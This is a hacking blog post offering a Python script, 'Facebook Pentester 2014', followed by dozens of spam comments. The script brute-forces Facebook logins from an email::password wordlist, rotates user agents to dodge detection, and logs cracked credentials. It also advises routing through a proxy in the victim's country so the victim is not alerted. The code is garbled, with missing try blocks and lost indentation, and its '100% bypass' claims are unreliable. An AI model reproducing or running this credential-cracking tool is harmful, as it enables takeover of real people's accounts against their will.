[PYTHON] Facebook Pentester 2014 by mauritania attacker


Create a Dir and place it in C:\ and place also this python script inside it and create a text file , wordlist pass must be in this form:


Like Combo Attack Old School ^_^ and run script from cmd \!/ good chance

#Facebook Pentester 2014 can crack into Facebook Id’s 100% without Interruption By Facebook Firewall !
#This program is for sale & the objectif of this product is only for educational purposes only.
#Changing Description of this Script won’t make you the coder ^_^ !
#Don’t Crack people facebook account’s it’s illegal !
#If you want to crack into someone’s account, you must have the permission of the user.
#Mauritania Attacker is not responsible.

import re
import os
import sys
import random
import warnings
import time
import mechanize
except ImportError:
print “[*] Please install mechanize python module first”
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
import cookielib
except ImportError:
print “[*] Please install cookielib python module first”
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”

warnings.filterwarnings(action=”ignore”, message=”.*gzip transfer encoding is experimental!”, category=UserWarning)

# define variable
__Script__   = “Facebook Pentester 2014 Priv8888!”
__Released__ = “27/01/2014 By Mauritania Attacker”
__moi__  = “Facebook Checkpoint Security Bypassed 100%”
verbose         = False
useproxy        = False
usepassproxy    = False
log             = ‘ghost.log’
file            = open(log, “a”)
success         = ‘home_edit_profile’
checkpoint      = ‘checkpoint’
oldpass         = ‘You entered an old password’
fblogin         = ‘https://login.facebook.com/login.php?login_attempt=1’
# some priv8 useragents for Facebook Security !
useragent    = [‘Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)’,
‘Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre’,
‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;’,
‘Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)’,
‘Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)’,
‘Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:’,
‘Microsoft Internet Explorer/4.0b1 (Windows 95)’,
‘Opera/8.00 (Windows NT 5.1; U; en)’,
‘Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)’,
‘Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)’,
‘Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)’,
‘Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)’,
‘Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)’,
‘Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]’
facebook        = ”’

#Facebook Pentester 2014 Priv8.
#Coded By Mauritania Attacker.
#Features: Verbose Method + Intrusion.
#Details: Pentest Facebook Accounts + Anonymous Fast Proxy Undetectable.

Script : %s
New Security Bypass : %s
Released    : %s”’ % (__Script__, __moi__, __Released__)
option          = ”’
Usage  : %s -w pentest.txt
Option : -w, –wordlist         <filename>      |   Wordlist used for Cracking
-v, –verbose                          |   Set %s will be verbose
-p, –proxy            <host:port>     |   Set http proxy will be use
-k, –usernameproxy    <username>      |   Set username at proxy will be use
-i, –passproxy        <password>      |   Set password at proxy will be use
-l, –log              <filename>      |   Specify output filename (default : ghost.log)
-h, –help             <help>          |   Print this help

Example : %s -w pentest.txt”

P.S : add “&” to run in the background
”’ % (sys.argv[0], sys.argv[0], sys.argv[0])
hme             = ”’
Usage : %s -w pentest.txt
-h or –help for get help
”’ % sys.argv[0]

def helpme():
print facebook
print option

def helpmee():
print facebook
print hme

for arg in sys.argv:
if arg.lower() == ‘-u’ or arg.lower() == ‘–user’:
username = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-w’ or arg.lower() == ‘–wordlist’:
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-l’ or arg.lower() == ‘–log’:
log = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-p’ or arg.lower() == ‘–proxy’:
useproxy = True
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-k’ or arg.lower() == ‘–userproxy’:
usepassproxy = True
usw = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-i’ or arg.lower() == ‘–passproxy’:
usepassproxy = True
usp = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == ‘-v’ or arg.lower() == ‘–verbose’:
verbose = True
elif arg.lower() == ‘-h’ or arg.lower() == ‘–help’:
elif len(sys.argv) <= 1:
except IOError:
except NameError:
except IndexError:

def bruteforce(word):
pos = word.find(“::”)
userEmail = word[0:pos]
word = word[pos+len(“::”):len(word)]

print(“userEmail: ” + userEmail )
print(“password: ” + word )
file.write(“[*] Trying ” + userEmail + “::” + word + “\n” )
rch = random.choice(useragent)
br.addheaders = [(‘User-agent’, rch)]
# print(“User Agent: ” + rch )
opensite = br.open(fblogin)

# To show and print all forms name
# for form in br.forms():
#      print “Form name:”, form.name
#      print form

# To show all control elements in the form
# br.form = list(br.forms())[0]
# for control in br.form.controls:
#      print control
#      print “type=%s, name=%s value=%s” % (control.type, control.name, br[control.name])

# To dump cookies data being sent and received
# dump();

# Release email account from autotext fill
# If email still auto-filled on login form, this script would not work as expected, so we need to release it

NotMe = “notme_cuid”
for link in br.links():
if (NotMe in link.url):
request = br.click_link(link)
response = br.follow_link(link)
# print response.geturl()


br.form = list(br.forms())[0]
br.form[’email’] = userEmail
br.form[‘pass’] = word
response = br.response().read()

if verbose:
print response
if success in response:
print “\n\n[*] You just Logged in successfully inside your victim Account Nygga xd…but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/”
print “[*] userEmail : %s” % (userEmail)
print “[*] Password : %s\n” % (word)
file.write(“\n[*] You just Logged in successfully inside your victim Account Nygga xd…but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/”)
file.write(“\n[*] userEmail : %s” % (userEmail))
file.write(“\n[*] Password : %s\n\n” % (word))

# After the successful login, force to Logout (to clear the cookies & the session – Very important!)
for form in br.forms():
if form.attrs[‘id’] == ‘logout_form’:
br.form = form
elif checkpoint in response:
print “\n\n[*] You just Logged in successfully inside your victim Account Nygga xd…but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/”
print “[*] userEmail : %s” % (userEmail)
print “[*] Password : %s\n” % (word)
file.write(“\n[*] You just Logged in successfully inside your victim Account Nygga xd…but Security checkpoint, so always use HTTPS Proxy of the country of your Victim or your victim will be Alerted \!/”)
file.write(“\n[*] userEmail : %s” % (userEmail))
file.write(“\n[*] Password : %s\n\n” % (word))

# In checkpoint, this account maybe has been logged in, so we need to Log it Out after the successful login
LogOut = “logout.php”
for link in br.links():
if (LogOut in link.url):
request = br.click_link(link)
response = br.follow_link(link)
# print response.geturl()
# print “This account has been logged out”
# else:
#        print “Can not click Log Out link”

except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
except mechanize._mechanize.FormNotFoundError:
print “\n[*] Form Not Found\n”
file.write(“\n[*] Form Not Found\n”)
except mechanize._form.ControlNotFoundError:
print “\n[*] Control Not Found\n”
file.write(“\n[*] Control Not Found\n”)

# Priv8 Function to Dump Cookies Data
# def dump():
#       for cookie in cj:
#               print cookie.name, cookie.value

def releaser():
global word
for word in words:

def main():
global br
global words
# Priv8 Function to enable dump()
# global cj
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
if useproxy:
br.set_proxies({“http”: proxy})
if usepassproxy:
br.add_proxy_password(usw, usp)
if verbose:
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
file.write(“\n[*] Exiting program…\n”)
preventstrokes = open(wordlist, “r”)
words          = preventstrokes.readlines()
count          = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except IOError:
print “\n[*] Error: Check your config path\n”
file.write(“\n[*] Error: Check your config path\n”)
except NameError:
except KeyboardInterrupt:
print “\n[*] Exiting program…\n”
file.write(“\n[*] Exiting program…\n”)
print facebook
print “\n[*] Starting Cracking at %s” % time.strftime(“%X”)
#print “[*] Account To Crack %s” % (username)
print “[*] Loaded :”,len(words),”words”
print “[*] Cracking, please wait…”
file.write(“\n[*] Starting Cracking at %s” % time.strftime(“%X”))
#file.write(“\n[*] Account To Crack %s” % (username))
file.write(“\n[*] Loaded : %d words” % int(len(words)))
file.write(“\n[*] Cracking, please wait…\n”)
except KeyboardInterrupt:
print “\n[*] Script Closed…\n”
except NameError:

if __name__ == ‘__main__’:

…Mauritania attacker…

meet hackers

2 thoughts on “[PYTHON] Facebook Pentester 2014 by mauritania attacker

  1. I was extremely pleased to discover this page. I wanted to thank you for your time
    due to this fantastic read!! I definitely loved every little bit of it and I have you book-marked to see new information in your site.

    May I just say what a comfort to uncover somebody that actually understands what they’re discussing on the internet.
    You certainly understand how to bring a problem to light and make it important.
    More people ought to read this and understand this side of your
    story. I was surprised you’re not more popular because you definitely have
    the gift.

    Good blog post. I certainly appreciate this website.
    Continue the good work!

    It’s hard to come by knowledgeable people on this subject, but you sound like you know what you’re
    talking about! Thanks

    You should take part in a contest for one of the highest quality sites online.
    I will recommend this web site!

    A fascinating discussion is definitely worth comment.
    I do think that you ought to write more on this subject
    matter, it may not be a taboo subject but usually people
    do not speak about these topics. To the next! Cheers!!

    Good day! I just would like to give you a huge thumbs up for the excellent info you have got right here on this post.
    I’ll be returning to your web site for more soon.

    After I initially left a comment I appear to have clicked on the -Notify me when new comments are added- checkbox and now each time a comment is added
    I get 4 emails with the same comment. There has to be an easy method you are able to
    remove me from that service? Many thanks!

    Next time I read a blog, I hope that it won’t disappoint me as much as this particular one.
    I mean, Yes, it was my choice to read through,
    but I really believed you would probably have something interesting
    to say. All I hear is a bunch of whining about something you can fix if you were not too busy searching for

    Spot on with this write-up, I actually think this website needs a lot more attention. I’ll probably be back again to
    read through more, thanks for the advice!

    You are so cool! I do not suppose I have read through a single thing like this
    before. So nice to discover somebody with a few original
    thoughts on this issue. Seriously.. thanks for starting
    this up. This website is one thing that is needed on the web,
    someone with some originality!

    I really like looking through a post that will make people think.

    Also, many thanks for allowing me to comment!

    This is the right blog for everyone who really wants to find
    out about this topic. You know a whole lot its almost tough to argue
    with you (not that I really would want to…HaHa).
    You certainly put a brand new spin on a topic that has been written about for years.
    Great stuff, just excellent!

    Aw, this was an exceptionally nice post. Taking the time and actual effort to create a great article… but what can I say…
    I hesitate a whole lot and never manage to get anything done.

    I’m impressed, I have to admit. Rarely do I encounter a blog that’s both educative and entertaining, and let me tell
    you, you’ve hit the nail on the head. The problem is something
    that not enough men and women are speaking intelligently about.
    Now i’m very happy I found this in my search for something regarding this.

    Oh my goodness! Amazing article dude! Thank
    you, However I am going through problems with
    your RSS. I don’t know the reason why I cannot join it.
    Is there anybody else getting the same RSS problems? Anyone who knows the solution can you kindly respond?


    An outstanding share! I have just forwarded this onto a
    colleague who has been conducting a little research on this.

    And he in fact bought me dinner simply because I found it for him…
    lol. So let me reword this…. Thank YOU for the meal!!
    But yeah, thanks for spending some time to talk about this matter
    here on your web page.

    After looking at a number of the blog posts on your site, I truly appreciate your way of blogging.

    I book marked it to my bookmark webpage list and will be checking back soon. Take a look at my website too and let me know
    what you think.

    This website definitely has all of the information I
    needed about this subject and didn’t know who to ask.

    There is certainly a lot to know about this subject.
    I love all of the points you made.

    You have made some really good points there. I looked on the net to learn more about the issue and found most
    individuals will go along with your views on this web

    Good post. I learn something new and challenging on websites I
    stumbleupon every day. It’s always useful to read articles from
    other authors and practice a little something from other

    I blog quite often and I genuinely thank you for your information. The article
    has really peaked my interest. I will take a note of
    your website and keep checking for new details
    about once per week. I subscribed to your RSS feed too.

    Pretty! This was an incredibly wonderful article. Thanks for providing these details.

    Greetings! Very useful advice within this post! It’s the little changes that produce the
    biggest changes. Thanks a lot for sharing!

    Hello there! This blog post couldn’t be written any better!
    Going through this article reminds me of my previous
    roommate! He constantly kept preaching about this. I will
    send this information to him. Pretty sure he’s going to have
    a very good read. Thanks for sharing!

    Hello, I believe your blog could possibly be having internet browser compatibility
    problems. Whenever I look at your blog in Safari,
    it looks fine however, if opening in IE, it’s got some overlapping issues.

    I merely wanted to provide you with a quick heads up!
    Aside from that, wonderful site!

    Having read this I believed it was extremely informative.
    I appreciate you finding the time and energy to put this short
    article together. I once again find myself personally spending way too much time both reading and posting comments.
    But so what, it was still worthwhile!

    Hello! I could have sworn I’ve been to your blog before but after going through a few of the posts I realized it’s new to me.

    Nonetheless, I’m certainly happy I stumbled upon it and I’ll be book-marking it
    and checking back often!

    I needed to thank you for this fantastic read!! I definitely enjoyed every bit of it.

    I have you saved as a favorite to check out new things
    you post…

    Hi, I do believe this is a great blog. I stumbledupon it
    😉 I may return yet again since i have saved as a favorite it.
    Money and freedom is the best way to change, may you be rich and continue to help other people.

    Your style is unique compared to other people I’ve read stuff from.
    Thanks for posting when you have the opportunity, Guess I will just bookmark this

    I used to be able to find good info from your blog articles.

    Good article! We are linking to this particularly great article on our website.
    Keep up the good writing.

    This is a very good tip especially to those new to the blogosphere.
    Short but very precise info… Thank you for sharing this
    one. A must read post!

    I couldn’t resist commenting. Very well written!

    bookmarked!!, I like your blog!

    Very good article. I am facing some of these issues as well..

    Way cool! Some extremely valid points! I appreciate you writing this post plus the rest of the
    site is also very good.

    Good blog you have here.. It’s hard to find high-quality writing like yours nowadays.
    I seriously appreciate individuals like you! Take care!!

    This is a topic that’s close to my heart… Cheers!
    Exactly where are your contact details though?

    I really love your blog.. Pleasant colors & theme. Did you make this site yourself?
    Please reply back as I’m hoping to create my own blog and would love to know where you got this from or just what the theme is named.

    Appreciate it!

    Everyone loves it when folks come together and share ideas.
    Great website, stick with it!

    Good information. Lucky me I discovered your blog
    by accident (stumbleupon). I’ve book-marked it for later!

    This website was… how do you say it? Relevant!! Finally I
    have found something that helped me. Many thanks!

    Everything is very open with a clear explanation of the issues.
    It was definitely informative. Your site is useful. Thank
    you for sharing!

    I’d like to thank you for the efforts you have put in writing this blog.
    I really hope to check out the same high-grade content by you in the future as well.
    In fact, your creative writing abilities has motivated me to
    get my very own blog now 😉

Leave a Reply

Your email address will not be published. Required fields are marked *